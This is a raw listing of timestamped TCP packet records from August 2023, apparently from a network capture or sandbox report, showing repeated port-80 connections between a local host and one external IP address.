Aug 29, 2023 22:45:49.778284073 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778340101 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778352022 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.778393030 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778491020 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.778492928 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778568983 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778568983 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.778633118 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778687954 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.778772116 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.778888941 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.822475910 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.822809935 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.822892904 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.822952032 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823041916 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823079109 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823128939 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823158979 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823194981 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823249102 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823302984 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823340893 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823364973 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823419094 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823472977 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823534966 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823570013 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823590994 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823618889 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823646069 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823709011 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823734999 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823765039 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823820114 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823880911 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823884964 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.823935986 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.823992014 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.824048042 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.824104071 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.824111938 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:49.824202061 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.824273109 CEST	80	50004	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:49.824414968 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:51.193571091 CEST	50004	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.209357023 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.252825022 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.253206015 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.253309965 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.296674013 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.297931910 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298065901 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298171043 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298275948 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298376083 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298418999 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.298476934 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298598051 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298696995 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298742056 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.298742056 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.298803091 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.298878908 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.298906088 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.299218893 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.342211008 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.342283964 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.342523098 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.343960047 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.344072104 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.344372988 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.347739935 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.347811937 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.347990036 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.350603104 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.350678921 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.350907087 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.352791071 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.352865934 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.353053093 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.355067015 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.355139971 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.355317116 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.357238054 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.357314110 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.357676983 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.359559059 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.359631062 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.360285997 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.361711979 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.361784935 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.361968994 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.363917112 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.363995075 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.364168882 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.385814905 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.385885954 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.386234999 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.386883020 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.386956930 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.387290955 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.388919115 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.389012098 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.389180899 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.390743971 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.390814066 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.391166925 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.392517090 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.392589092 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.392805099 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.394404888 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.394500971 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.394845963 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.395951986 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.396044970 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.396205902 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.397557974 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.397629023 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.397828102 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.399108887 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.399228096 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.399539948 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.400481939 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.400552988 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.400737047 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.402205944 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.402276039 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.402576923 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:52.403426886 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.403491020 CEST	80	50005	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:52.403745890 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:53.755642891 CEST	50005	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.771346092 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.814738989 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.815041065 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.815557003 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.815665960 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.858732939 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.858840942 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.858959913 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.859035015 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.859051943 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.859100103 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.859111071 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.859118938 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.859126091 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.859133959 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.859296083 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.859478951 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.859647036 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.859813929 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.902199030 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902307034 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902410030 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902422905 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902487993 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.902533054 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902560949 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.902620077 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902628899 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902638912 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902746916 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902759075 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902766943 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902776003 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902780056 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.902822971 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902977943 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.902987957 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.945748091 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.945820093 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.945867062 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.945914030 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.945960999 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946053028 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946125031 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946171045 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946217060 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946261883 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946306944 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.946352959 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947040081 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947137117 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947247982 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947293997 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.947321892 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947377920 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947432041 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947494030 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947540045 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.947546959 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947601080 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947604895 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.947664976 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.947761059 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.947808981 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.991023064 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.991111040 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.991314888 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.992791891 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.992880106 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.993166924 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.996417999 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.996504068 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.996742010 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:54.999550104 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.999634981 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:54.999874115 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.001662016 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.001749039 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.001993895 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.003860950 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.003937006 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.004226923 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.006105900 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.006180048 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.006436110 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.008172035 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.008246899 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.008480072 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.010401011 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.010478020 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.010739088 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.012665987 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.012748957 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.012989044 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.034763098 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.034836054 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.035032034 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.035769939 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.035842896 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.036056995 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.037869930 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.037944078 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.038187981 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.039593935 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.039676905 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.039978027 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.041460991 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.041568041 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.041769028 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.043045044 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.043118000 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.043343067 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.044778109 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.044852972 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.045089960 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.046191931 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.046262980 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.046514034 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.047892094 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.047966003 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.048259020 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.049314976 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.049391031 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.049633026 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.050803900 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.050877094 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.051121950 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:55.052123070 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.052191019 CEST	80	50006	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:55.052387953 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:56.317480087 CEST	50006	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.333224058 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.376599073 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.376919031 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.377082109 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.420300961 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421554089 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421648026 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421706915 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421761990 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421817064 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421874046 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421926975 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.421958923 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.421958923 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.421979904 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.422034979 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.422089100 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.422137022 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.422292948 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.422292948 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.465153933 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465226889 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465285063 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465342999 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465396881 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465404034 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.465451002 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465504885 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465558052 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465574026 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.465610027 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465666056 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465719938 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465744019 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.465774059 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465826988 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465878963 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465899944 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.465931892 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.465986013 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.466032982 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.466053963 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.466130018 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.466218948 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.466244936 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.466244936 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.466244936 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.466281891 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.466383934 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.466541052 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.509490967 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509566069 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509623051 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509679079 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509737015 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509792089 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509844065 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.509849072 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509844065 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.509905100 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.509979010 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510000944 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510035038 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510090113 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510143995 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510195971 CEST	80	50007	91.189.114.27	192.168.11.20
Aug 29, 2023 22:45:57.510220051 CEST	50007	80	192.168.11.20	91.189.114.27
Aug 29, 2023 22:45:57.510251045 CEST	80	50007	91.189.114.27	192.168.11.20
